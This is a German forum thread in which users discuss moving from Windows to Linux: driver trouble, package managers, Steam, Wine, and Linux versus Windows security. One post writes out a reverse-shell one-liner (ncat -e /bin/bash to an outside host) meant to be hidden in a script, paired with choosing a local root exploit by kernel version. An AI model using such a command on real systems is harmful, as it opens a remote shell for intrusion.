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Normale Version: Von Windows auf Linux - die Umsteiger
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naja steam gibs ja auch schon für Linux, wenn es dann bald auch mehr spiele gibt kann die revulotion losgehen ^^
Ich selber nutze Linux knapp 5 Jahren so ziemlich hauptsächlich, und ich bereue keine Sekunde damit. Selbst als ich damals über keinen Internetzugang verfügte, hat sich WinXP oft bei mir zerschossen.

Egal ob Videoschnitt, Bildbearbeitung oder allgemeines Surfen, für fast alles gibt es unter Linux viel mehr Möglichkeiten der Anpassbarkeit. Das einzige Problem, welches ich über die Jahre hatte, war die Installation von Grafiktreibern und gerne auch WLAN Treiber. Flutterrage

Für Ubuntu gibt es PPAs, für Fedora gibt es Zeugs per Rpmfusion, Archlinux behilft sich bei den Repos öfters bei git... Es ist so ein Mischmasch zwischen den verschiedenen Distributionen, apt-get, yum, yaourt usw., da blickt man bei manchen Installationen nicht mehr durch.

Gestern musste ich Fedora 20 auf einem alten Laptop installieren per USB Stick. Egal ob Ubuntu oder Archlinux, bei allen klappte der Wlan Treiber problemlos, nur bei Fedora 20 wollte er einfach nicht laden.
Nach einigem Experimentieren fand ich heraus, das ein "sudo modprobe b43" die Lösung war, sprich, den Treiber manuell zu laden. Dies so zurechtgefriemelt, das es automatisch passiert, nun gehts.
Bei Nvidia Treibern war es meist so, das der "nouveau" Treiber, welcher meist Standard war, sich nicht immer deaktivieren lassen wollte. Manchmal war der offizielle Nvidia Treiber installiert, jedoch war die Maus manchmal unsichtbar und 3D Beschleunigung wollte ebenso nicht so richtig. Oder es gab 3D Beschleuning, aber die Maximalauflösung statt FullHD war dagegen nur bei 1024x768. Derpy confused

An Spielen gibt es spätenstens dank Steam nun eine sehr große Auswahl, obwohl es dank WINE davor schon viele Spiele gab, auch die größeren Blockbuster wie Assassins Creed.
WINE schafft es allerdings noch nicht, 99% der FreeToPlayPayToWin Spiele zu starten, da kommt meist der Cheatschutz dazwischen, da ist herumpatchen oder warten angesagt.

Jedenfalls ist es so, dass es unter Linux weitaus mehr Möglichkeiten gibt, mehr mit dem System, denn mit Spielen zu spielen! So geht es jedenfalls mir. Die letzten 2 Stunden etwa habe ich versucht, die Spinning Rainbow Dash als Plymouth Bootscreen hinzubekommen. Leider schaffe ich es bisher nicht, sie ins Dreieck zu befördern. Twilight: not bad



Hurra für Updates.

Manjaro Linux: Dieses Wochenende ist Manjaro 0.8.9 erschienen, außerdem sind unter anderem VLC 2.1.4, Frescobaldi 2.14, LibreOffice 4.1.5 und 4.2.1 neu. Update der ganzen Soße unter Manjaro: pacaur -Syu (ernsthaft, pacaur taugt was, man muß sich das aber erst per yaourt -S pacaur aus dem AUR holen), Paßwort eingeben, bestätigen, daß man erst manjaro-system updaten will, und ab geht die Post. Dutzendweise Updates in einem Rutsch, und ich konnte zugucken. Am Ende noch drei Bestätigungen (will ich installieren, will ich PKGBUILD einsehen, will ich .install einsehen) und Paßwort, um Frescobaldi aus dem AUR zu holen. Den Rest hat pacaur gemacht: Python-Quellen gesaugt, kompiliert, fertig.

Hätte das auch gleich mit pamac machen können, quasi dasselbe mit Maus, wollte ich aber nicht.

Windows: Ich wollte eh gerade ein paar Updates auf meinem Neuen Alten ausrollen (die ich zuvor händisch runtergeladen hatte), als Manjaro brandneue Updates vermeldete: VLC, LibreOffice, Frescobaldi. Alles Zeugs ohne Selbstupdater. Firefox gestartet, automatisch upgedatet, neu gestartet. http://www.videolan.org aufgerufen, festgestellt, daß es den neuen VLC noch gar nicht als 32-Bit-Windows-Version gibt. 64-Bit-Version für mein einziges 64-Bit-Windows runtergeladen, indem ich mich ein Weilchen durch die Website gewühlt hab. de.libreoffice.org in einem zweiten Tab aufgerufen, LibreOffice 4.2.1 und das passende Hilfepaket runtergeladen inklusive Wartezeit auf der Spendenseite – zweimal. http://www.frescobaldi.org aufgerufen und den neuen Frescobaldi händisch runtergeladen.

Jetzt hab ich hier vor mir im Explorer sechs Installer (viermal *.exe, zweimal *.msi), die ich alle einzeln per Hand starten und mich da durchklicken muß. Alles im Endeffekt Neuinstallationen über die vorhandenen Installationen mit fast demselben Aufwand. Fscking LibreOffice 4.2 versucht dann auch noch pauschal, sich auf C: zu installieren, auch wenn man die alte Version auf D: hatte. Und für VLC hab ich noch nicht mal die neue Version da.

Windows, y u no have package manager? (Secunia PSI gildet™ nicht, das erfaßt auch nicht alles und kann die meisten Anwendungen, wo es Updates anzeigt, nicht selbst updaten.)

[Bild: 30354867.jpg]

Das LibreOffice-Update fühlt sich so an, als wenn es so lange dauert wie das Komplettupgrade von Manjaro inklusive Anwendungen. Und das liegt sicherlich nicht nur daran, daß ein Athlon XP 1800+ Palomino langsamer ist als ein runtergetakteter Core 2 Duo im X60s.

(07.03.2014)Crash Override schrieb: [ -> ]Jedenfalls hab ich kaum von Linux - Viren gehört (was aber nicht heisst, das es keine gibt).
Gibt's, lohnt sich aber nicht, weil keiner Linux mit Rootrechten fährt. Die meisten Windows-Schädlinge (übrigens auch der gefürchtete Zeus) bauen darauf, daß der User mit vollen Adminrechten arbeitet, und funktionieren nicht mit eingeschränkten Rechten.

(07.03.2014)Crash Override schrieb: [ -> ]Zumindest funktionieren "Exklusive MS-Viren" nicht auf Linux RD laugh
Einige von denen sollen unter Wine laufen, wenn man's denn installiert hat. Wine hat ja leider keine Benutzerkontrolle.

Entsprechend schnell wird man die auch wieder los: Wine-"Laufwerke" löschen. Heutzutage gibt's auch Bottles, da könnte man einfach 'ne neue Bottle ohne Virus aufziehen oder versuchen, die vorhandenen Viren in einer Bottle zu parken, die man eh nicht nutzt. Vor allem kann man den Kram, der Viren anziehen könnte, in eigenen Bottles fahren.
Zitat:Gibt's, lohnt sich aber nicht, weil keiner Linux mit Rootrechten fährt. Die meisten Windows-Schädlinge (übrigens auch der gefürchtete Zeus) bauen darauf, daß der User mit vollen Adminrechten arbeitet, und funktionieren nicht mit eingeschränkten Rechten.

Laut exploit-db gibts schon wieder nen local root exploit bei den neuen kerneln, gelistet ist er als 3.4+.


Wenn man will kann man bestimmt was böses machen. Remote Zugang erhält man leicht, vorausgesetzt der user ist blöd und führt ein Skript aus. Root kann man sich dann auch besorgen => profit.
Aber wozu, wenn es unter Windows so viel einfacher ist. Das Ziel ist deutlich leichter zu treffen, und die meisten user finden eine foo.pdf.exe überhaupt nicht auffällig.
Zitat:und die meisten user finden eine foo.pdf.exe überhaupt nicht auffällig.

Ur trolling?
(07.03.2014)ZerguhlX schrieb: [ -> ]naja steam gibs ja auch schon für Linux, wenn es dann bald auch mehr spiele gibt kann die revulotion losgehen ^^

Wenn ich einen Euro bekommen würde für jedes Jahr, in dem der Durchbruch von Linux bevorsteht, hätte wohl schon genug Euros für ne Windows 8 Lizenz zusammen. RD wink
(10.03.2014)Simaris schrieb: [ -> ]Ur trolling?

Nope. Hier hast du ein paar Stunden Spaß Twilight smile
Wenn man mal drüber nachdenkt ist es vielleicht gar nicht so gut, wenn Linux sich auf dem Desktop verbreitet.
Höhere Verbreitung heißt lohnenderes Ziel für "Hacker" und damit wahrscheinlich mehr Viren/Trojaner für Linux.
(10.03.2014)ZerguhlX schrieb: [ -> ]Wenn man mal drüber nachdenkt ist es vielleicht gar nicht so gut, wenn Linux sich auf dem Desktop verbreitet.
Höhere Verbreitung heißt lohnenderes Ziel für "Hacker" und damit wahrscheinlich mehr Viren/Trojaner für Linux.
Wenn Linux Mainstream wird wechseln wir einfach zu MenuetOS.

Nein? Ach kommt schon, ihr wolltet doch auch schon immer mal ne GUI in Assembler programmieren! RD laugh
Ein wirklich interessanter Thread AJ hmm

Ich selber habe vor ein paar Jahren auch ein Experiment gestartet, komplett auf Linux umzusteigen. Eigentlich kein grosses Ding, da ich schon früher oft mit Linux herumexperimentiert habe und mir dann doch einige Kentnisse aneignen konnte.

Aus meiner Erfahrung heraus kann ich sagen, dass man sehr gut mit Linux als Hauptbetriebsystem leben kann, und dass auch für "nicht-Nerds". Ich habe z.B. auf dem Laptop meiner Mutter ein Ubuntu installiert, weil ich es satt hatte, ständig wegen irgendwelchen Problemen angerufen zu werden und die Kiste immer wieder flott zu machen. Interessanterweise ist seitdem ruhe RD laugh

Also gilt jedenfalls bei mir Ubuntu als "60+ Approved". Pinkie approved


Mit meinem "Linux-Mint Only" Projekt habe ich insgesammt nur 4 Monate durchgehalten, weil man mit der Zeit dann doch einige unzulänglichkeiten entdeckt. Bei mir war es Audio, was mich bei Linux gestört hat.
Es hat ewigkeiten gedauert, bis ich meine Soundkarte richtig zum laufen gebracht habe, und auch dann gab es nach ca. 30 Min. einen Absturz der Treiber, sodass ich den Prozess wieder neu starten musste.

Und unter Linux gibt es leider keine Gescheite Audiobearbeitungssoftware. Audacity liefert nicht das, was ich brauche und andere Programme wie Reaper sind mir dann doch ein wenig zu komplex.

Ich hatte viel Spass mit Linux und es hat mir "fast" alles geboten, was ich wollte. Mitlerweile bin ich dann aber doch auf Mac umgestiegen (Windows kommt mir nicht mehr ins Haus) und bin seitdem Wunschlos glücklich FS grins

Ich will jetzt nicht als Apple-Fanboy dastehen, aber was das Betriebsystem angeht, ist Mac OS X für mich persönlich das beste Betriebsystem. Es vereint die Flexibilität eines Linux mit dem gut Designten App-Angebot der Windowswelt.


Aber ich bin mal gespannt, wie es bei dir aussehen wird und ob du mit Linux glücklich werden wirst. AJ Prost


(10.03.2014)Mew schrieb: [ -> ]Wenn Linux Mainstream wird wechseln wir einfach zu MenuetOS.

Nein? Ach kommt schon, ihr wolltet doch auch schon immer mal ne GUI in Assembler programmieren! RD laugh
Was es nicht alles gibt. Lyra astonished
Ich hab mal versucht, eine einfache Ampelschaltung in Assembler zu Programieren. Wenn ich mir vorstelle, dass es Leute gibt, die eine Betriebsystem daraus machen..... Hut ab. RD laugh


Die nicht ganz Masochistisch veranlagten Hipster wählen da wohl eher Solaris oder BSD (Ich wollte schon immer mal FreeBSD ausprobieren, höre eigentlich nur gutes davon)
Nastor, wir werden das sehen. Mich nerven momentan auch mehrere rechner mit div. Problemen - daher hab ich ner anderen Person schon angedroht, den einen Rechner nach nem Testlauf auf Linux umzustellen RD laugh dann muss sie schauen, dass entweder Office in ner VM läuft oder sie muss sich halt ein anderes Programm angewöhnen (von Open Office hat sie die Schnauze voll - sie kann da nicht so viel machen wie mit MS Office).
(10.03.2014)Mew schrieb: [ -> ]Laut exploit-db gibts schon wieder nen local root exploit bei den neuen kerneln, gelistet ist er als 3.4+.
Und die ganzen Debian-Oldstable-Nutzer feixen sich einen ab, weil sie der Exploit nicht betrifft. Was fahren diese ganzen Verrückten auch mit viel zu neuen Kernels rum.

(Am besten noch die Preisklasse, die dann ein Problem damit hat, daß sie Open Documents aus LibreOffice mit ihrem OOo 1.1.3 nicht anständig geöffnet kriegen und die Windows-Platten von anderen Leuten nicht checken können, weil sie Linux < 2.6.20 ohne ntfs-3g haben... Aber immerhin ist alles schön stabil und erprobt. Je älter, desto stabiler.)

(10.03.2014)Mew schrieb: [ -> ]Aber wozu, wenn es unter Windows so viel einfacher ist. Das Ziel ist deutlich leichter zu treffen, und die meisten user finden eine foo.pdf.exe überhaupt nicht auffällig.
Vor allem: Auf einen Linux-User, wo man sich einen abkrampfen muß, um die Kiste mit einem mit Userrechten laufenden Skript unter Kontrolle zu kriegen, kommen dutzendweise Windows-DAUs, die mit Adminrechten unterwegs sind, die Lizenz ihres Virenscanners nie verlängert haben (kostet Geld, und der geht doch noch), nicht wissen, was Browser-Addons sind (also auch keine sicherheitssteigernden Addons haben), alles anklicken, was bunt ist und Software installieren müssen, die für sie Phishingmails identifiziert, weil sie E-Mails von ihrer Bank, in denen kyrillische Schriftzeichen statt Umlauten vorkommen, für authentisch halten.
Zitat:Und die ganzen Debian-Oldstable-Nutzer feixen sich einen ab, weil sie der Exploit nicht betrifft. Was fahren diese ganzen Verrückten auch mit viel zu neuen Kernels rum.

(Am besten noch die Preisklasse, die dann ein Problem damit hat, daß sie Open Documents aus LibreOffice mit ihrem OOo 1.1.3 nicht anständig geöffnet kriegen und die Windows-Platten von anderen Leuten nicht checken können, weil sie Linux < 2.6.20 ohne ntfs-3g haben... Aber immerhin ist alles schön stabil und erprobt. Je älter, desto stabiler.)

Gerade die haben Probleme, die 2.X-Serie ist quasi komplett geknackt. Das ist schon gruselig, wenn man jetzt überlegt wie viele Server noch mit Debian 6 und nem 2.6er laufen...

Und auch im Heimbetrieb, wo ein nichtsahnender Nutzer noch ein altes Ubuntu LTS am Laufen hat. Ein "ncat -e /bin/bash legit.cz 1337", in einem Skript verstecken, dann ein uname -a und den richtigen exploit aussuchen, das kann jeder.... Aber wie bereits gesagt wurde, auf Windows ist es noch einfacher.


Auf meinem 3.11er hat der Exploit übrigens nicht funktioniert.

//Edit:
Anscheinend funktioniert der nur wenn beim Kompilieren des Kernels "CONFIG_X86_X32=y" gesetzt ist, und das ist laut Author nur bei Ubuntu der Fall.
(11.03.2014)Pulse Wave schrieb: [ -> ]Und die ganzen Debian-Oldstable-Nutzer feixen sich einen ab, weil sie der Exploit nicht betrifft. Was fahren diese ganzen Verrückten auch mit viel zu neuen Kernels rum.

Wobei aber auch Stable mit Kernel 3.2 noch auf der sicheren Seite ist. Bei mir läuft dennoch ein backports auf dem Server.

Und mit Windows kann man das eh nicht vergleichen, sich dort Admin-Rechte zu verschaffen ist ja vergleichsweise einfach.
(11.03.2014)Mew schrieb: [ -> ]Gerade die haben Probleme, die 2.X-Serie ist quasi komplett geknackt. Das ist schon gruselig, wenn man jetzt überlegt wie viele Server noch mit Debian 6 und nem 2.6er laufen...
Japp, speziell im Serverbereich ist es schlimm.

Zum einen, natürlich, ein Server sollte immer zur Verfügung stehen, und wenn man keinen Backupserver welcher Art auch immer hat für einen Server, den man nicht nur selber nutzt, hat man natürlich ein Problem, wenn mal ein Reboot anstehen sollte. Das gibt's ja sogar bei Unternehmen – die verlangen 100% Uptime und sind andererseits zu geizig für einen Zweitserver, also muß der eine Server 24/7 laufen. Aber so manch ein Admin hat's auch zur Herausforderung an sich selbst gemacht, Uptimes ins Extrem zu drehen und seinen Server jahrelang nie zu rebooten. Dann kann auch kein neuer Kernel zum Einsatz kommen.

Zum anderen sind nicht wenige Server von ihren Admins übelst verfrickelt worden. Da müssen dann neue Kernels nicht nur konfiguriert und kompiliert, sondern womöglich vorher noch gepatcht werden, und der Admin weiß nicht, ob der seit 2.6-Zeiten nicht mehr gepflegte Patch in der neuesten Kernelversion überhaupt noch geht, aber er braucht den unbedingt. Oder andere Sachen sind zur Laufzeit so verbastelt worden, daß der Admin begründete Angst hat, daß er den Server, falls der mal runterfahren sollte, nicht wieder zum Laufen kriegt, es sei denn, er setzt sich ein paar Tage hin und frickelt wieder, und in der Zeit steht der Server still.

Und dann sind da natürlich die Nerd-Admins, die einfach zu faul sind, ihre kleine Serverfarm up to date zu halten, z. B. wenn sie bei sich im Keller oder sonstwo in der Bude mehrere ausgemusterte Desktopkisten, Nettops und Kleinstrechner unterschiedlichster Herkunft stehen haben, die jetzt headless als Server laufen. Also wird gar nicht upgedatet.

So kommt es dann, daß da draußen immer noch Server auf Debian Woody laufen und selbst das Woody in sich nicht auf dem neuesten Stand ist. Ein neues Debian gibt's allenfalls dann, wenn mal eine neue Kiste in die Bude kommt, weil eine alte hardwareseitig aus dem letzten Loch pfeift oder schon zur Gänze abgeraucht ist.
(14.03.2014)Pulse Wave schrieb: [ -> ]Aber so manch ein Admin hat's auch zur Herausforderung an sich selbst gemacht, Uptimes ins Extrem zu drehen und seinen Server jahrelang nie zu rebooten. Dann kann auch kein neuer Kernel zum Einsatz kommen.

So lange es Sicherheitsupdates gibt, kann man das System eventuell auch ohne Reboot aktualisieren. Natürlich ist auch diese Technik irgendwann am Ende, spätestens wenn der Kernel so alt ist, dass er gar nicht mehr gepflegt wird.

Meine Debians werden eigentlich alle spätestens 1-2 Monate nach dem neuen Stable aktualisiert, insbesondere die mit Internetkontakt. Gut, dass das nicht häufiger als alle 2 Jahre ist. RD wink
moin zum server bereich kann man doch maschien per vz virtualisieren und wartungen auf einem spiegel durchführen

und jetzt gibs ja steam os 1.0 alchemist

http://repo.steampowered.com/download/SteamOSDVD.iso

ich habe es geteste und geht 1a
(15.03.2014)Dashlinux schrieb: [ -> ]moin zum server bereich kann man doch maschien per vz virtualisieren und wartungen auf einem spiegel durchführen
Würde trotzdem bedeuten, daß der Host mit den 2 VMs drauf jahrelang auf demselben Kernel durchläuft. Denn wenn der Host neu gestartet wird, sind beide VMs down.

Und wenn man zwei Hosts mit jeweils 1 VM hat, dann kann man sich auch die VMs sparen und die Server direkt auf den Hostsystemen fahren.
Oder man hat einfach zwei Hosts mit mehreren VMs und lässt für die Updatedauer alle VMs auf einem Host laufen. Machen große Anlagen ja sogar dynamisch.
AJ hmm ich weiss zwar noch nicht was los is, aber irgendwie lässt sich "Mint Cinnamon" nicht installieren. vll. ne Broken Iso-file? Es wird jedenfalls von 2 Laufwerken die Fehlermeldung ausgespuckt, dass ein Sektor nicht gelesen werden kann. Schätze mal ein Brennfehler oder eben ne Broken Iso-file... und das hab ich jetzt öfters probiert, auch mit ne anderen Laufwerk (aus dem T60P).

Jedenfalls hab ich kurzerhand dann Kubuntu 13.10 (saucy Salamander) aufgespielt. Dämlich is nur, dass ich, egal was ich machen will, immerzu Internet brauche. Twilight: No, Really? Das ist'n bisschen nervig...